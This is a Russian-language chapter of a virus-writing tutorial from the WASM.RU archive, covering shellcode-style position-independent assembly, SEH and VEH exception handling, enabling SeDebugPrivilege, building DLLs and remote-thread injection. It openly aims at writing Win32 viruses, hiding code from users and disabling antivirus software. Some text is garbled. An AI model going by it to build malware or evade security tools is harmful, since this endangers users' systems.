От зеленого к красному: Глава 3: Программирование в Shell-код стиле. Важные техники системного программирования: SEH, VEH и API Hooking. Отключение Windows — Архив WASM.RU
- «От зеленого к красному».
- Глава 3: Программирование в Shell-код стиле. Важные техники системного программирования: SEH, VEH и API Hooking. Отключение Windows File Protection.
- Программирование в Shell-код стиле.
- Обобщенный пример программирования в Shell-код стиле.
- Важные техники системного программирования.
- Structured Exception Handling. 4
- Введение.
- Конечный обработчик.
- Внутри-поточный обработчик.
- Продолжение выполнения с безопасного места.
- Заключение.
- Vectored Exception Handling (VEH)
- VEH изнутри.
- Перехват вызовов функций.
- Общая картина.
- Привилегии.
- Dinamic Link Library.
- Общая картина.
- Создание DLL.
- Внедрение и исполнение удаленного кода.
- Способы перехвата функций.
- Правка таблицы импорта.
- Простой пример – перехват MessageBox.
- Перехват LoadLibrary.
- Сплайсинг.
- Простой пример – перехват MessageBox.
- Сплайсинг с сохранением оригинальной функции.
- Перехват правкой системных библиотек на жестком диске.
- Windows File Protection.
- Отключение Windows File Protection на лету.
- Глобальный перехват.
- Примеры использования перехвата вызовов функций.
- Использованные источники и источники для дальнейших исследований.
- SEH и VEH..
- Windows File Protection.
- API Hooking.
- Заключение.
- The Passion Of Code ( TPOC ) Laboratory.
- Спасибо…...
Программирование в Shell-код стиле
Этот раздел является своеобразным обобщением первых двух глав. Прочтя его, Вы сможете уже без особых трудностей писать простые Win32-вирусы. Код в shell-код стиле или как он еще называется – базово-независимый код требует определенных условий при его написании. Основное условие - чтобы код не зависел от адреса загрузки его в адресное пространство процесса-жертвы и от структур данных загрузчика. Надо определить адрес какой-нибудь команды, где она находилась первоначально (т.е. в первом поколении). Это значение будет константой, зашитой в коде. Далее код должен определить, где он находиться в данный момент. Для этого есть несколько способов, которые описывались в 1 главе. Вот это и называется дельта-смещением.
Также мы должны знать адреса функций API, чтобы вирус был мульти-платформенным относительно Windows, т.е. работал во всех ОС Windows, т.к. известно, что адреса API-функций меняются в зависимости от ОС, а также могут поменяться в той же ОС в какой-то конфликтной ситуации, например при конфликте разделов виртуальной памяти. Для получения адресов, нужных нам функций ОС, существует много способов. Основы получения адресов мы рассмотрели. При получении адресов ОС Windows мы выполняем часть работы загрузчика. При загрузке исполняемого файла (PE, DLL, SYS, SCR) в адресное пространство процесса загрузчик заполняет таблицу адресов импорта (Import Address Table) и таблицу адресов экспорта (Export Address Table). При выполнении кода этого исполняемого файла IAT используется, чтобы хранить адреса всех API-функций, которые использует приложение. Таким образом, мы касаемся неявного связывания (implicit linking). Адрес API-функции может и не быть в IAT, его можно получить с помощью функции KERNEL32.DLL!GetProcAddress. Этой функции на вход передается описатель модуля, в котором экспортируется нужная функция и имя нужной функции. KERNEL32.DLL!GetProcAddress просматривает EAT модуля, описатель которого передается ей параметром (а описателем модуля(module handle), как известно является его базовый адрес(base address) в адресном пространстве процесса, в котором он загружен). Даже при неявном связывании ОС вызывает GetProcAddress для заполнения IAT. Мы своим кодом эмулируем процедуру GetProcAddress - не больше не меньше!
В исполняемом файле есть несколько секций, которые имеют свои атрибуты. Например, секция кода не предназначена для записи. Есть секция неинициализированных данных, которая имеет нулевой размер физически, но при загрузке данного исполняемого модуля в память эта секция приобретает материальный характер. Чтобы это было именно так, загрузчик просматривает таблицу секций и если он видит, что данная секция – секция неинициализированных данных, то он выделяет память в адресном пространстве процесса с помощью функций выделения памяти. Наш код находится всегда в одной секции. Чтобы таким же образом использовать виртуальное адресное пространство для своих целей приходиться использовать функции резервирования и выделения памяти в куче или, напрямую, - в виртуальной памяти.
Более того, есть проблема – если ЮЗВЕРЬ (классное слово ) посмотрит файл, зараженный нашим кодом, то он визуально сможет найти там чего-нибудь подозрительное. Чтобы этого не случилось приходиться шифровать наш код или строки текста, создавая соответственно, и расшифровщик. Но это естественно не единственное применение шифрования в коде.
Представьте, что у нас есть код обычного приложения подсистемы Win32 на ассемблере. Задача: превратить его в код в Shell-код стиле. Сначала надо все переменные переместить в секцию с кодом и соответственно поставить прыжок на нормальный код, чтобы эти данные не начали выполняться как код. Потом вычислить дельта-смещение. Далее получить адреса всех API-функций. После этого можно превращать обычный код в код в Shell-код стиле, т.е. заменять все смещения – смещениями с учетом дельта-смещения.
Пример:
Первоначальный код:
Код (Text):
invoke MessageBox,0,offset Text1,offset Title1, MB_OK .IF eax==0 jmp error .ENDIF … error:Во-первых, переменные offset Text1, offset Title1 должны находиться в секции кода – т.е. там, где находиться код вируса. Из-за этого секцию с таким кодом нужно делать доступным для записи. Во-вторых, offset Text1 – это абсолютный адрес. Допустим, что мы вычислили дельта-смещение и поместили его в регистр EBP. ы вычислили дель с таким кодом нужно делать доступным для записи. твественно и расшифровщик. ной ситуации.С учетом вычисленного дельта-смещения мы должны его исправить т.о.
Код (Text):
lea edi, [ebp+ offset Text1]Теперь в EDI находиться реальный адрес строки Text1. Также делаем и со всеми остальными переменными. Допустим, что адрес функции MessageBox, находиться в переменной _MessageBox. Тогда вызываем функцию так:
Код (Text):
push MB_OK lea esi,[ebp+ offset Title1] push esi lea esi,[ebp+ offset Text1] push esi push 0 mov eax,[ebp+_MessageBox] call eaxДве строки
Код (Text):
mov eax,[ebp+_MessageBox] call eaxможно заменить одной
Код (Text):
call dword ptr [ebp+_MessageBox]Пример Закончен.
Как известно система команд современных 32-х разрядных процессоров не содержит в себе дальнего условного перехода. Но у нас код и данные расположены в одном большом сегменте, т.о. мы можем переходить на любые расстояния, используя модель памяти FLAT. Но нет команды, которая осуществляет косвенный переход. Т.е., если у нас адрес хранится в каком-нибудь регистре, то мы не можем использовать команду условного перехода, например так - jne EDI. Вот как можно реализовать косвенный переход
Пример:
Код (Text):
cmp eax,0 jne Next jmp edi Next: …Пример Закончен.
Этот код означает следующее – если значение в регистре EAX равно нулю, то делается дальний переход на адрес, который находиться в EDI.
При программировании в shell-код стиле полезно пользоваться процедурами, т.к. в них можно использовать локальные переменные и они базово-независимы в принципе, т.к. используют стек. Но здесь возникает небольшой вопрос – где хранить дельта-смещение? Вопрос возникает потому, что мы обычно храним дельта-смещение в регистре EBP. В процедурах, регистр EBP используется для своего первоначального предназначения – хранить базу кадра стека. Здесь можно пофантазировать. Я использовал локальную переменную для хранения дельта-смещения.
Директивы компилятора .IF,.WHILE и т.д. Вы можете применять без особых проблем, т.к. у нас всего один сегмент. В случае этих директив компилятор генерирует код, в который входят только относительные адреса.
API-функции мы будем вызывать по абсолютным адресам, для чего мы и получили их адреса. В итоге, первоначальный код, который мы решили перевести в код в Shell-код стиле превращается в такой:
Пример:
Код (Text):
push MB_OK lea esi,[ebp+ offset Title1] push esi lea esi,[ebp+ offset Text1] push esi push 0 call dword ptr [ebp+_MessageBox] .IF eax==0 jmp error .ENDIF … error:Пример Закончен.
В команде jmp error также используется относительный переход. По умолчанию в JMP в MASM’е трактуется как прямой внутрисегментный переход.
При программировании удобно использовать макросы. Посмотрите пример
Пример:
Код (Text):
api macro x call dword ptr [ebp+x-delta] endmА вот так это можно использовать:
Код (Text):
api _MessageBoxПример Закончен.
Обобщенный пример программирования в Shell-код стиле
В этом разделе я хотел привести нормальную программу, а потом эту же программу, но в Shell-код стиле. Но потом я передумал Код той и другой программы находятся в архиве, который прилагается к статье. Итак, программа рекурсивного поиска. Программа выводит на экран с помощью MessageBox’а количество найденных файлов с расширением EXE в указанной директории и всех ее поддиректориях. Файлы ищутся в директории, имя которой находиться по адресу Buffer. В архиве есть папка, которая называется ShellCoded. В ней нормальная программа называется – normal.asm, в Shell-код стиле – shellcode.asm. Внимательно рассмотрите эти программы и попробуйте их сравнить. Также потренируйтесь переводить свои программы таким же образом.
Т.о. Вы можете переводить обычное Win32-приложение в приложение в shell-код стиле. Во вложении к статье я также предлагаю Вам шаблон файла, где Вам не придется получать дельта смещение и адреса API-функций. Там уже все есть как в сказке! Почти всё ;) Файл называется VXTemplateWin32.asm.
Важные техники системного программирования
Structured Exception Handling
Введение
Structured Exception Handling (SEH) - структурная обработка исключений, механизм, который поддерживается операционной системой и позволяющий обрабатывать ошибки в программах. В этом разделе я расскажу Вам, что такое SEH, как работает данный механизм и как его использовать в своих вирусах.
SEH – это системный механизм. Представьте, что Ваша программа попытается выполнить следующий код:
Пример:
Код (Text):
xor eax,eax mov dword ptr [eax],1 ;Записываем по адресу 0 - единицу.Пример Закончен.
Любое обращение к адресам от 0 до 0FFFFh ведет к исключению нарушения доступа к памяти. Конечно, ошибка нарушения доступа к памяти появляется не только для этих адресов, но и для всех адресов выше 2х Гб в виртуальном адресном пространстве, а также если мы пытаемся обратиться к не переданным страницам или например, произвести запись к странице к которой мы не имеем право на запись.
Исключение – это событие, которое происходит в результате какой-либо ошибки. Каждое исключение имеет свой код. Например, код неправомерного доступа к памяти – 0C0000005h. Коды исключений определены в файле WINBASE.H. Допустим, выполняется пример кода, когда мы записываем 1 по адресу 0, тогда возникает исключение. ОС должна реагировать на исключение. Обычно при возникновении исключения ОС вызывает функцию, которая называется обработчиком исключений (exception handler). Эта функция – обычная CALLBACK-функция принимающая несколько параметров. Если мы обрабатываем это исключение, то мы пишем обработчик и в определенном месте указываем его адрес, чтобы, если произошло исключение, ОС смогла вызвать наш обработчик. Если обработчик выполнился, ОС решает, что дальше делать исходя из возвращаемого значения, которой вернул обработчик. Исходя из этих соображений, программа может продолжить работу, программа может завершиться или ОС вызывает следующий обработчик в цепочке (если таковой имеется). Т.е. можно устанавливать несколько обработчиков. Если мы сами не установили обработчик, то в любом приложении установлен обработчик по умолчанию и если случиться исключение, то ОС выведет сообщение о завершении программы.
Если на участок кода приведенном в примере установлен обработчик, то мы можем обработать эту ошибку с помощью специально написанного обработчика. Существует два типа обработчиков исключений – конечные и внутри-поточные. Итак…
Конечный обработчик
Если программа вызвала исключение, то, если внутри-поточные обработчики не установлены или не обрабатывают исключение, вызывается конечный обработчик. Конечный обработчик глобален для процесса, в котором он установлен, в отличии от внутри-поточного. Конечный обработчик устанавливается с помощью API-функции KERNEL32.DLL!SetUnhandledExceptionFilter. Как Вы заметили она экспортируется из kernel32.dll. С помщью этой функции можно установить конечный обработчик. Если в Вашей программе произошло исключение и его не обрабатывают никакие внутри-поточные обработчики, то вызывается конечный обработчик. Конечный обработчик вызывается как раз перед тем, когда ОС решила закрыть приложение. Смещение конечного обработчика передается как параметр функции KERNEL32.DLL!SetUnhandledExceptionFilter.
Пример:
Код (Text):
Handler proc EXCEPT:DWORD …; здесь обрабатываем ошибочку ret Handler endp …….. lea eax,[ebp+Handler] push eax call [ebp+_SetUnhandledExceptionFilter];установка конечного обработчика ….; защищенный код. Если здесь будет исключение, ; то вызовется функция по адресу HandlerПример Закончен.
Функция-обработчик такой прототип прототип:
Код (Text):
LONG UnhandledExceptionFilter( STRUCT _EXCEPTION_POINTERS *ExceptionInfo);Прототип этой функции я взял из SDK. Также там описаны и возвращаемые значения этой функции. А возвращаемые значения могут быть такие:
- eax = -1 - перегрузить контекст и продолжить
- eax = 1 - выключает вывод Message Box'а
- eax = 0 - включает вывод Message Box'а
Прототип конечного обработчика отличается от прототипа внутри-поточного обработчика.
Если что-то произошло в коде вируса, то надо просто перепрыгнуть на нормальный код программы, если этот код внедрен в программу и выполняется до ее старта. Если код вируса выполняется в потоке, то мы завершаем поток. Конечно, можно попробовать исправить ошибку, и продолжить выполнение.
Внутри-поточный обработчик
Если мы хотим обрабатывать ошибки для каждого потока, т.е. устанавливать свой обработчик для каждого вида ошибок в потоке, то мы должны установить внутри-поточный обработчик. Например, ошибка нарушения доступа к памяти в одном потоке будет обрабатываться по-своему, а в другом потоке та же ошибка, уже по-другому, в зависимости от обработчика. Из внутри-поточных обработчиков можно делать цепочки. Т.е. если один обработчик не обрабатывает исключение, то исключение может обработать следующий обработчик в цепочке.
По адресу FS:[0] находиться указатель на структуру SEH, ее называют SEH-фрейм.
Вот описание этой структуры:
Код (Text):
SEH struct PrevLink dd ? ; адрес предыдущего SEH-фрейма CurrentHandler dd ? ; адрес обработчика исключений SafeOffset dd ? ; Смещение безопасного места PrevEsp dd ? ; Старое значение esp PrevEbp dd ? ; Старое значение ebp SEH endsКогда мы устанавливаем обработчик исключения вручную, то мы заполняем структуру SEH и передаем указатель на нее в FS:[0]. Структура SEH должна состоять как минимум из 2-х первых двойных слов. Эта новая созданная структура должна обязательно находиться в стеке, иначе наш обработчик не будет вызван. Более того, очередная новая созданная структура должна находиться в стеке выше, чем предыдущие установленные структуры.
Вот как можно установить внутри-поточный обработчик:
Пример:
Код (Text):
lea eax,[edx+Handler];В edx - дельта смещение push eax ;Формируем структуру SEH push FS:[0];Формируем структуру SEH mov FS:[0],ESP …;Защищенный код pop FS:[0];Восстанавливаем в FS:[0] адрес предыдущей структуры SEH add ESP,4;убираем из стека оставшийся адрес обработчика из структуры … Handler proc ExcRec:DWORD, SehFrame:DWORD, Context:DWORD, DispatcherContext:DWORD mov eax,0 ret Handler endpПример Закончен.
Когда поток начинает только выполняться, у него уже установлен один обработчик, обработчик по умолчанию, который выводит сообщение о завершении программы.
Если присмотреться внимательно, то можно понять, что вышеприведенным кодом добавляется очередной элемент в связный список. По адресу FS:[0] содержится указатель на структуру SEH, в которой имеется адрес предыдущей структуры SEH в стеке. Этот связный список называется SEH-цепочка (SEH-chain). Так формируется цепочка из обработчиков исключений. Сцепление в цепочку обработчиков делается, например для того, чтобы каждый обработчик в цепочке обрабатывал свои типы исключений. Если первый обработчик не обработал исключение, то он возвращает eax=1 и управление передается следующему обработчику в цепочке. Т.е. если обработчик возвращает 1, то ОС переходит к следующему элементу в цепочке. Также для каждого куска кода может быть свой обработчик. Если данный обработчик – последний в цепочке, то у него указатель на предыдущий обработчик (поле PrevLink) будет равен -1. Чтобы точно понять, что же такое цепочка из внутри-поточных обработчиков посмотрите на рисунок:
При вызове внутри-поточного обработчика ОС использует Си-договоренность о передаче параметров, вместо стандартной договоренности, т.е. стек после вызова, вызывающий код, должен сам уравнивать, что ОС и делает.
Прототип внутри-поточного обработчика имеет вид
Код (Text):
EXCEPTION_DISPOSITION __cdecl _except_handler ( struct _EXCEPTION_RECORD *ExceptionRecord, void * EstablisherFrame,//указатель на структуру SEH struct _CONTEXT *ContextRecord,//Указатель на структуру CONTEXT void * DispatcherContext );Ообработчик имеет доступ к структуре EXCEPTION_RECORD, которая содержит подробную информацию о исключении. С помощью адреса структуры SEH можно получить доступ к локальным переменным, т.к. структура SEH находится в стеке. Из структуры CONTEXT можно получить значения всех регистров, которые они имели во время возникновения исключения. Структуру CONTEXT также можно редактировать, чтобы исправить ошибку и продолжить выполнение программы. Параметр DispatcherContext обычно не используется.
В заключение этого раздела приведу значения, которые могут возвращать конечный обработчик:
- eax = 1 - ОС вызывает следующий обработчик в цепочке
- eax = 0 - перезагружаем контекст и продолжаем
Продолжение выполнения с безопасного места
Внутри-поточный обработчик
Когда мы просто прыгаем на безопасное место из обработчика, мы не сохраняем никакие регистры, кроме регистра EIP. Например, регистры ESP, EBP не сохраняются. Именно поэтому такой способ - «грязный». Есть техника позволяющая сохранять регистры, а также иметь доступ к локальным данным. Для этого нужно написать соответствующий обработчик. Используя эту технику можно исправить ошибку и продолжить выполнение с безопасного места. Вот маленькая программа, где используется техника продолжения выполнения с безопасного места:
Пример:
Код (Text):
.386p .model flat,stdcall option casemap:none ;----------------------IncludeLib and Include--------------------- includelib \tools\masm32\lib\user32.lib includelib \tools\masm32\lib\kernel32.lib includelib \tools\masm32\lib\gdi32.lib includelib \tools\masm32\lib\advapi32.lib include \tools\masm32\include\windows.inc include \Tools\masm32\include\proto.inc include \tools\masm32\include\user32.inc include \tools\masm32\include\kernel32.inc include \tools\masm32\include\gdi32.inc include \tools\masm32\include\advapi32.inc ;----------------------End IncludeLib and Include----------------- SEH struct PrevLink dd ? ; адрес предыдущего SEH-фрейма CurrentHandler dd ? ; адрес обработчика исключений SafeOffset dd ? ; Смещение безопасного места PrevEsp dd ? ; Старое значение esp PrevEbp dd ? ; Старое значение ebp SEH ends .data seh db "In SEHHanlder",0 seh1 db "After Exception SEHHanlder",0 .code start: assume fs:nothing push ebp push esp push offset Next push offset SEHHandler push FS:[0] mov FS:[0],ESP ;здесь начинается защищенный код mov eax,0 mov dword ptr [eax],1 pop FS:[0];Восстанавливаем в FS:[0] адрес предыдущей структуры ERR add ESP,16;убираем из стека оставшийся адрес обработчика из структуры Next: invoke MessageBox,0,offset seh1,offset seh1,0 invoke ExitProcess,0 SEHHandler proc uses edx pExcept:DWORD, pFrame:DWORD, pContext:DWORD, pDispatch:DWORD mov edx,pFrame assume edx:ptr SEH mov eax,pContext assume eax:ptr CONTEXT push [edx].SafeOffset pop [eax].regEip push [edx].PrevEsp pop [eax].regEsp push [edx].PrevEbp pop [eax].regEbp invoke MessageBox,0,offset seh,offset seh,0 mov eax,ExceptionContinueExecution ret SEHHandler endp end startПример Закончен.
В начале программы, в стеке создается SEH-фрейм. По адресу FS:[0] передается указатель на этот SEH-фрейм. Помимо смещения обработчика и адреса предыдущего SEH-фрейма мы передаем смещение безопасного места, значение ESP и EBP. Т.о. мы заполняем все поля структуры SEH. Если происходит исключение, то управление передается обработчику исключений SEHHandler. Обработчик исключений, используя переданную ему структуру SEH заполняет некоторые поля структуры CONTEXT, а именно регистры ESP(для сохранения вершины стека), EBP(для доступа к локальным данным), EIP(для перехода на безопасное место). Обработчик возвращает 1 или константу ExceptionContinueExecution, чтобы сообщить операционной системе, что обработчик обработал исключение и необходимо продолжить выполнение программы в контексте указанной в структуре CONTEXT.
Финальный обработчик
В финальном обработчике также можно перезагружать контекст таким образом, чтобы выполнение продолжалось с безопасного места. Но если мы хотим продолжить выполнение программы возвращать обработчик должен уже не 1, а -1. Финальному обработчику в отличие от внутри-поточного передается только структуры CONTEXT, EXCEPTION_RECORD, а структура SEH не передается, поэтому значения регистров EIP, EBP, ESP надо хранить в статической памяти или что-либо подобное, например в куче.
Заключение
SEH также используют для переполнения стека или переполнения кучи, с помощью подмены обработчика. Это уже штучки создателей эксплойтов – отдельное сообщество компьютерного андеграунда, так же как и вирмейкеры. Очень хорошо, когда сообщества объединяются или комбинируются. Остальную информация о SEH – такую как – «раскрутка стека», «информация, которая передается обработчику», и т.д. можно прочитать в статье Джереми Гордона.
Vectored Exception Handling (VEH)
VEH – или векторная обработка исключений - относительно новый механизм обработки исключений. Он появился впервые в операционной системе Windows XP. Вы, наверное, испугались названия, но не бойтесь, использовать VEH очень просто.
VEH это тоже самое, что и SEH – также устанавливаются обработчики исключений. Но в этих механизмах есть несколько различий. Во-первых, никаких служебных слов типа try, except, finally для С++, как раньше, нет. Т.е. это не надстройка компилятора. Во-вторых, и это очень важно – VEH это не stack-frame based механизм. Т.е. раньше все SEH-фреймы были в стеке. Теперь же узлы VEH’а находятся в куче. В-третьих, VEH обработчики глобальны для процесса. Из VEH обработчиков можно делать цепочки.
Можно сравнить VEH с финальными обработчиками UnhandledExceptionFilter из которых можно делать цепочки. Различие с финальным обработчиком и в том, что векторный обработчик вызывается в первую очередь(т.е. до SEH), а финальный в последнюю.
Чтобы установить векторный обработчик мы вызываем функцию AddVectoredExceptionFilter. Вот ее прототип:
Код (Text):
PVOID AddVectoredExceptionHandler( ULONG FirstHandler, PVECTORED_EXCEPTION_HANDLER VectoredHandler );FirstHandler – если этот параметр не ноль, то обработчик устанавливается, как следующий элемент в цепочке. Т.е. при возникновении исключения именно он вызовется ОС. Если этот параметр ноль, то обработчик устанавливается в начало цепочки и вызывается в том случае, если все остальные обработчики в цепочке не обрабатывают исключение, т.е. возвращают EXCEPTION_CONTINUE_SEARCH.
Огромным преимуществом VEH’а над SEH’ом в том, что он отлавливает абсолютно все исключения для всех потоков. А вот у SEH’а с этим проблемы.
Пример использования VEH’а:
Пример:
Код (Text):
lea eax,[ebp+Handler];В EBP - дельта-смещение push eax push 1 call dword ptr [ebp+_AddVectoredExceptionHandler] …;защищенный код Handler proc Record:DWORD;обработчик …;обработка исключения mov eax,1;Проход дальше по цепочке ret Handler endpПример Закончен.
VEH изнутри
Я попытался исследовать VEH изнутри. Что из этого получилось, описано в этом разделе.
В модуле NTDLL.DLL есть статическая глобальная переменная. Назовем её CurrentVEHFrame. В этой переменной содержится адрес текущего VEH-фрейма. При вызове функции AddVectoredExceptionHandler в куче создается новый VEH-фрейм и заполняется соответствующими значениями. VEH-фреймом я называю структуру, которая определена следующим образом
Код (Text):
VEH struct Prev dd ? pСurrentVEHFrame dd ? EncodeVEHHandler dd ? VEH endsPrev - адрес в куче предыдущего VEH-фрейма. Если это самый последний фрейм, то его значение равно значению адреса переменной CurrentVEHFrame.
pСurrentVEHFrame - адрес переменной CurrentVEHFrame
EncodeVEHHandler - закодированный адрес обработчика. Чтобы получить виртуальный адрес обработчика необходимо вызвать функцию RtlDecodePointer библиотеки NTDLL(можно написать так: NTDLL!RtlDecodePointer).
Т.о. при вызове функции AddVectoredExceptionHandler в цепочку векторных обработчиков добавляется новый элемент. Цепочка представляет связанный список. Вот рисунок, который иллюстрирует сказанное:
Здесь при возникновении исключения будет вызван обработчик Handler1. Если он не обрабатывает исключение, то управление передается обработчику, следующему в цепочке. Еще раз повторю, что ОС определяет, что обработчик является последним в цепочке, если pCurrentVEHFrame==Prev. Это показано на рисунке.
Перехват вызовов функций
Общая картина
Перехват вызовов функций называется также «Per-process residency» техника, применяемая в операционных системах Windows. С ОС Windows поставляются файлы с расширением DLL – Dinamic Link Library. Это библиотеки динамической компоновки. Они экспортируют функции, чтобы их могли вызвать другие приложения или DLL. Чтобы приложение могло использовать какие-то сервисы ОС, оно должно вызвать одну из функций, которая экспортируются системной DLL. Все функции ОС хранятся в системных DLL. Функции, которые являются посредниками между ОС и приложением называются API(Application Programming Interface)-функциями. Соль механизма перехвата функций состоит в следующем. Когда приложение вызывает API-функцию мы можем вместо оригинальной функции вызвать свою функцию, которая может изменить результат вызова для приложения-жертвы (для того приложения, в котором мы перехватываем функции). Т.о. мы можем изменять логику работы любого приложения. Т.е. любое обращение программы к ОС мы можем контролировать, изменять или просто наблюдать за работой какого-то приложения. Мы можем понять, как работает та или иная программа по функциям, которая она вызывает. И этот способ контроля будет значительно проще для анализа, чем простая отладка. Тем более некоторые программы используют анти-отладочные механизмы. Некоторые операции в ОС Windows вообще нельзя осуществить без помощи перехвата API-функций. Перехватывать можно не только API-функции, но и любые экспортируемые функции.
В вирусологии техника перехвата особенно полезна. Она используется для продвинутого заражения файлов, полезной нагрузки, получения информации нужной вирусу (например, путь к файлу для заражения), скрытия присутствия, уничтожения или нарушения работы ненужных нам программ (антивирусов и брандмауэров).
В адресное пространство любого процесса загружена библиотека NTDLL.DLL. При вызове функций из kernel32.dll, например, OpenProcess в конечном итоге вызывается функция ZwOpenProcess, которая находиться в NTDLL.DLL. Низкоуровневые функции, которые находятся в NTDLL.DLL называются NativeAPI функции. Лучше перехватывать именно их, чтобы процесс жертва не смог отделаться от перехвата даже с помощью вызова Native API. Можно и просто исправить перехват. Но чтобы и этого не случилось, необходим перехват в нулевом кольце. Здесь мы будем заниматься только третьим кольцом.
Привилегии
Перехват вызовов функций делается при помощи некоторого механизма. Этот механизм применим для одного конкретного процесса. Если мы хотим глобализировать наш перехват, то мы должны применить технику перехвата для всех процессов в системе. Но по умолчанию даже пользователь с привилегиями администратора не имеет возможности получить доступ к системным процессам (например, winlogon.exe). Чтобы перехватывать функции и в системных процессах необходим доступ к этим системным процессам. Вообще, для внедрения кода в удаленный процесс (а это один из важных шагов механизма перехвата) необходимы следующие привилегии:
- PROCESS_CREATE_THREAD – для создания потока в удаленном процессе
- PROCESS_VM_WRITE – для записи в память удаленного процесса
- PROCESS_VM_OPERATION – для операций типа изменения прав доступа к памяти (protect и lock).
Чтобы открыть системный процесс с такими привилегиями, вызывающий функцию KERNEL32.DLL!OpenProcess должен иметь привилегию SeDebugPrivilegies. Ниже представлена процедура на ассемблере получения данной привилегии:
Пример:
Код (Text):
EnableDebugPrivilege proc LOCAL hToken:DWORD LOCAL tkp:TOKEN_PRIVILEGES LOCAL ReturnLength:DWORD LOCAL luid:LUID mov eax,0 invoke OpenProcessToken,INVALID_HANDLE_VALUE, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,ADDR hToken invoke LookupPrivilegeValue,NULL,offset Priv,ADDR luid .IF eax==0 invoke CloseHandle,hToken ret .ENDIF mov tkp.PrivilegeCount,1 lea eax,tkp.Privileges assume eax:ptr LUID_AND_ATTRIBUTES push luid.LowPart pop [eax].Luid.LowPart push luid.HighPart pop [eax].Luid.HighPart mov [eax].Attributes,SE_PRIVILEGE_ENABLED invoke AdjustTokenPrivileges,hToken,NULL,ADDR tkp,sizeof tkp,ADDR tkp,ADDR ReturnLength invoke GetLastError .IF eax!=ERROR_SUCCESS ret .ENDIF mov eax,1 ret EnableDebugPrivilege endpПример Закончен.
Здесь Priv - это строка определенная так:
Код (Text):
Priv db "SeDebugPrivilege",0После вызова данной функции вызывающий ее процесс может открывать системные процессы.
Пример:
Код (Text):
call EnableDebugPrivilege push ProcID;ID системного процесса push 0 push PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION call OpenProcessПример Закончен.
GetLastError вернет ERROR_SUCCESS. Если открыть системный процесс без вызова функции EnableDebugPrivilege, то OpenProcess вернет ноль, а GetLastError вернет ERROR_ACCESSDENIED.
Dinamic Link Library
Общая картина
Чтобы перехватить функцию в каком-нибудь процессе необходимо выполнить код в этом процессе. Изначально этот код не содержится в этом процессе. Т.е. его необходимо туда поместить. Для этого есть два способа: 1) Внедрение кода с помощью DLL. 2) Простое копирование кода в шел-код стиле. Большинство методов перехвата API функций используют внедрение кода с помощью DLL, т.к. при этом нет требования базовой независимости и зависимости от адресов API-функций. В случае вируса нам желательно не создавать никаких DLL, хотя нет никаких проблем, если мы создадим ее. При этом есть ограничение – это размер кода, который будет внедрен в жертву при заражении. Как создавать код в шел-код стиле мы уже знаем, теперь рассмотрим как создать DLL.
DLL – это обычный PE-файл, в котором есть соответствующий флаг поля Characteristics файлового заголовка. В EXE-файле не может быть этого флага. Если в EXE файле стоит флаг DLL, то он считается некорректным. DLL – это обычно набор функций, которые экспортируются другими модулями. У DLL, как и у любого EXE файла есть точка входа. Для DLL точка входа указывает на функцию, которую условно можно назвать DLLMain. Вот её прототип:
Код (Text):
DllMain proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD</code></pre> <p>hInstDLL – описатель данной DLL </p> <p>Эта функция вызывается при определенных событиях. В результате какого события была вызвана функция DLL указано в параметре reason.</p> <p>Вот его возможные значения и их описание:</p> <ul> <li><b>DLL_PROCESS_ATTACH</b> - DLL получает это значение, когда впеpвые загpужается в адpесное пpостpанство пpоцесса. Вы можете использовать эту возможность для того, чтобы осуществить инициализацию. При этом значении мы устанавливаем перехватчик. <li><b>DLL_PROCESS_DETAC</b><b>H</b> - DLL получает это значение, когда выгpужается из адpесного пpостpанства пpоцесса. Вы можете использовать эту возможность для того, чтобы "почистить" за собой: освободить память и так далее. <li><b>DLL_THREAD_ATTAC</b><b>H</b> - DLL получает это значение, когда пpоцесс создает новый поток. <li><b>DLL_THREAD_DETAC</b><b>H</b> - DLL получает это значение, когда поток в процессе был уничтожен. </ul> <h2><a name="_Toc106867011">Создание </a>DLL</h2> <p>Создание DLL мало отличается от создания EXE. Вот код самой простой DLL:</p> <p><b><u>Пример:</u></b></p> <p><code><pre> ;---------------------------------------------------------------------------- ; DLL.asm ;---------------------------------------------------------------------------- .386 .model flat,stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib .data .code DllMain proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD .if reason==DLL_PROCESS_ATTACH ;код .elseif reason==DLL_PROCESS_DETACH ;код .elseif reason==DLL_THREAD_ATTACH ;код .else ; DLL_THREAD_DETACH ;код .endif mov eax,TRUE ret DllMain Endp TestFunction proc;Функция, которая ничего не делает, но экспортируется ret TestFunction endp end DllMain ;----------------------------------------------------------------------------Пример Закончен.
Также необходимо создать файл с расширением DEF, который должен быть примерно такого вида:
Пример:
Код (Text):
;---------------------------------------------------------------------------- ; DLL.def ;---------------------------------------------------------------------------- LIBRARY DLL EXPORTS TestFunction ;----------------------------------------------------------------------------Пример Закончен.
Где LIBRARY – имя библиотеки, EXPORTS – имя функции, которая экспортируется из DLL(EXPORTS может быть несколько). Необходимо при вызове DLLMain сохранять регистры esi,edi,ebx,ebp и восстанавливать их при выходе из DllMain.
Для компиляции DLL нужно создать как обычно объектный файл, а для линковки используйте следующую строку:
link /DLL /SUBSYSTEM:WINDOWS /DEF:DLL.def DLLSkeleton.obj
Видите, ключ /DLL указывает на установку флага DLL в файловом заголовке.
Внедрение и исполнение удаленного кода
Внедрить DLL в адресное пространство постороннего процесса можно несколькими способами. А именно: с помощью реестра, с помощью хуков, с помощью удаленных потоков, с помощью замены оригинальной DLL, а также DLL можно внедрить как отладчик или через функцию KERNEL32.DLL!CreateProcess. Все эти способы описаны в книгe Джеффри Рихтера «Windows для профессионалов». Можно также и даже проще внедрить просто посторонний код в чужой процесс. Хотя в этом случая потребуется время на его создание. Но мы-то с Вами знаем теперь как делать такой код.
Я буду использовать метод внедрения DLL с помощью удаленных потоков, т.к. он является самым гибким. Но вы можете использовать любой другой. Это совершенно не принципиально, главное чтобы внедрение происходило правильно и в нужные приложения. Методы внедрения, конечно, отличаются друг от друга и налагают некоторые ограничения.
